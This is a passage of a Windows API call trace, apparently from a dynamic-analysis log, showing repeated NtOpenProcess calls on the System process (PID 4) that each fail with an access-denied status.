Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.456] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.457] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.458] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.459] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 